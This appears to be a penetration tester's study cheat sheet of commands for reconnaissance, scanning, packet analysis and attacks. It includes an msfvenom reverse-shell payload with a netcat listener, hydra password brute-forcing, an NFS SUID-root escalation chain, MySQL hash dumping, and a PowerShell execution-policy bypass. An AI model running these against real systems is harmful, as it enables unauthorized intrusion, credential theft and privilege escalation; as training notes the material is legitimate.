---
# System prepended metadata

title: Pentest - Commands and Tools

---

# Pentest - Commands and Tools

ping \<IP or domain\>
traceroute \<IP or domain>(linux) -I (flag ICMP, UDP by default)
tracert \<IP or domain\> (windows)
whois \<domain\> (linux) --> sudo apt update && sudo apt-get install whois
dig \<domain\> @\<dns-server-ip\>
> dig gives us is the TTL (Time To Live) of the queried DNS record. As         mentioned previously, when your computer queries a domain name, it stores     the results in its local cache. The TTL of the record tells your computer     when to stop considering the record as being valid
telnet ip port
    
Google DNS: 8.8.8.8 or 8.8.4.4

## dig

Check DMARC record
```bash
dig _dmarc.<yourdomain> TXT +short
```

 
## ssh 
ssh username@hostname -i /pathto/id_rsa  (id_rsa = privatekey)

## smb
    
smbclient //ip/share -U Anonymous -p port (port could be the default 143)
    
enum4linux

```
enum4linux -a $ip | tee enum4linux-$ip.out    
```

smbmap
while read i; do smbmap -H $i 2>/dev/null; done < <Target IP File> | grep -v Finding | grep -v Authentication

## nmap

General Scan
    
nmap -sV --script vuln -oN nmap-$ip.out $ip
    
* -sV: service/version scan
* --script vuln: run a script scan with the vuln scripts.
* -oN nmap-$ip.out: output in normal format to the file
    
nmap --script safe -p- -oN nmap-$ip.out $ip
    
* -p-: all ports
* --script safe: run a script scan with the vuln scripts.
* -oN nmap-$ip.out: output in normal format to the file
    
nmap -A -p- -oN nmap-$ip.out $ip
    
* -p-: all ports
* -A: Enable OS detection, version detection, script scanning, and traceroute
* -oN nmap-$ip.out: output in normal format to the file

nmap -A -p- -Pn -oN nmap-$ip.out $ip
    
* -A: Enable OS detection, version detection, script scanning, and traceroute
* -p-: all ports
* -Pn: skip the Nmap discovery stage
* -oN nmap-$ip.out: output in normal format to the file
    
 
## Windows
    
* lusrmgr.msc - Local User and Group Management
    
## tcpdump

https://danielmiessler.com/study/tcpdump/

use with sudo

```bash
tcpdump ip proto \\icmp -i tun0

tcpdump -D #show interfaces
tcpdump -i lo #select interface

tcpdump -i lo -XA #hexadecimal & ASCII

tcpdump -r -n file.pcap -A host X.X.X.X and port XXXX #read a previous capture, (-n) not resolves hostnames, filter by host, port, show payload as ASCII

tcpdump -w #write the data to a file

tcpdump -r -n file.pcap ip6 # search specific protocols, as ipv6

tcpdump -r -n file.pcap net 192.168.99.0/24 #search network ranges

```



## netcat

```bash
nc -l -p XXXX # -l listenig -p port
```

```bash
nc IP port #to connect
```

    
## telnet
    
telnet ip port
    
## msfvenom

### reverse shell for telnet on unix

msfvenom -p cmd/unix/reverse_netcat lhost=localIP lport=4444 R

* -p = payload
* lhost = our local host IP address (this is your machine's IP address)
* lport = the port to listen on (this is the port on your machine)
* R = export the payload in raw format
    
nc -lvp [listening port]
    
* -l: listen mode, for inbound connects
* -v: verbose
* -p: specify the local port (in our case, the port we are listening to) 
    
    
## hydra
    
hydra -t 4 -l user -P /usr/share/wordlists/rockyou.txt -vV [IP] [protocol]
    
* -t 4: Number of parallel connections per target
* -l [user]: Points to the user who's account you're trying to compromise
* -P [path to dictionary]: Points to the file containing the list of possible passwords
* -vV: Sets verbose mode to very verbose, shows the login+pass combination for each attempt
* [IP]: The IP address of the target machine
* [protocol] : Sets the protocol, ex: ftp, ssh
    
## NFS

list the NFS shares
showmount -e IP


mount a share in our local machine

Create a temp dir
mkdir /tmp/mount

Then 
    
sudo mount -t nfs $IP:home /tmp/mount/ -nolockRun
    
* mount : Execute the mount command
* -t nfs : Type of device to mount, then specifying that it's NFS
* IP:share : The IP Address of the NFS server, and the name of the share we wish to mount
* nolock : Specifies not to use NLM locking
    

Exploit NFS Share Root Squashing disable or misconfigured
    
* NFS Access \-\>
    * Gain Low Privilege Shell \-\>
        * Upload Bash Executable to the NFS share \-\>
            * Set SUID Permissions Through NFS Due To Misconfigured Root Squash \-\>
                * Login through SSH \-\>
                    * Execute SUID Bit Bash Executable \-\>
                        * ROOT ACCESS

Note: 
Before copied -> The copied bash shell must be owned by a root user: sudo chown root bash
After copied -> sudo chmod +sx bash
    
## Metasploit
    
msfconsole : to start metasploit
search [module_name] : search for a module
use [module_name] : use module
options : display module options
set [variable] : set variale of module
run : run the module
info : show info of the module
    
## MySQL
    
`sudo apt install default-mysql-client`

connecto to BD    
`mysql -h [IP] -u [username] -p`
    
enumerate user with nmap    
`nmap --script mysql-enum [target]`
    
metasploit
auxiliary/admin/mysql/mysql_sql 
This module allows for simple SQL statements to be executed against a MySQL instance given the appropriate credentials.
    
auxiliary/scanner/mysql/mysql_schemadump
This module extracts the schema information from a MySQL DB server (dump tables/column names)
    
auxiliary/scanner/mysql/mysql_hashdump 
This module extracts the usernames and encrypted password hashes from a MySQL server and stores them for later cracking.
    
## John the Riper
    
john [file-with-hash]
    
## Wireshark
    
`apt install wireshark` 
    
Filtering

* and - operator: and / \&\&
* or - operator: or / ||
* equals - operator: eq / ==
* not equal - operator: ne / !=
* greater than - operator: gt / \>
* less than - operator: lt / \<
                                     
ip.addr
ip.src
ip.dst
tcp.port eq [Port#] or [Protocol Name]
udp.port eq [Port#] or [Protocol Name]
                                      
### ARP packets
                                      
Request (1) Opcode: request (1)
Reply (2) Opcode: reply (2)

Filter
arp.opcode == 1
arp.opcode == 2
arp.src.hw_mac == <80:fb:06:f0:45:d7>
arp.dst.proto_ipv4 : To find IP for specific MAC

### ICMP Packets

Type: 8 (Echo (ping) request) -> A type that equals 8 means that it is a request packet
Type: 0 (Echo (ping) reply) ->  A type that equals 0 it is a reply packet.

:::warning
When these codes are altered or do not seem correct that is typically a sign of suspicious activity.

check timestamp

data string which will typically just be a random data string.
:::

### TCP Packets


TCP packets, Wireshark can be very helpful and color code the packets in order of danger level.

Check the sequence number and acknowledgment number.

Within Wireshark, we can also see the original sequence number by navigating to edit > preferences > protocols > TCP > relative sequence numbers (uncheck boxes).

:::info
Tools like RSA NetWitness and NetworkMiner to filter out
:::

:::warning
Typically when this handshake is out of order or when it includes other packets like an RST packet, something suspicious or wrong is happening in the network. 
:::

### DNS Packets

To analyze

* what it is querying
* the answer of the query: can be used to verify the query

:::warning
where the query is originating from:  it is UDP 53 which means that this packet passes that check, if it was TCP 53 then it should be considered suspicious traffic and needs to analyzed further
:::

### HTTP Traffic

User-agent
Request URI
File Data
Host
Response

:::info
Statistics > Protocol Hierarchy : to organize the protocols present in a capture the Protocol Hierarchy
Statistics > Endpoints : This feature allows the user to organize all endpoints and IPs found within a specific capture
File > Export Objects > HTTP :  allow us to organize all requested URIs in the capture
:::

### HTTPS Traffic

Before sending encrypted information the client and server need to agree upon various steps in order to make a secure tunnel.

1. Client and server agree on a protocol version
1. Client and server select a cryptographic algorithm
1. The client and server can authenticate to each other; this step is optional
1. Creates a secure tunnel with a public key

unencrypted data

Edit > Preferences > Protocols > TLS >  [+] 
IP Address: 127.0.0.1
Port: start_tls
Protocol: http
Keyfile: RSA key location


## Powershell

Load a powershell shell with execution policy bypassed
````
powershell -ep bypass
````
Execute a ps script

````
./Script.ps1
````

Load a ps module in the current scope

````
. ./Script.ps1
````

## Active Directory

Enumeration
Power View
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview

Search specific property
````
Get-NetUser | ?{$_.property -match 'Domain Admins'}
````

## SHODAN




    


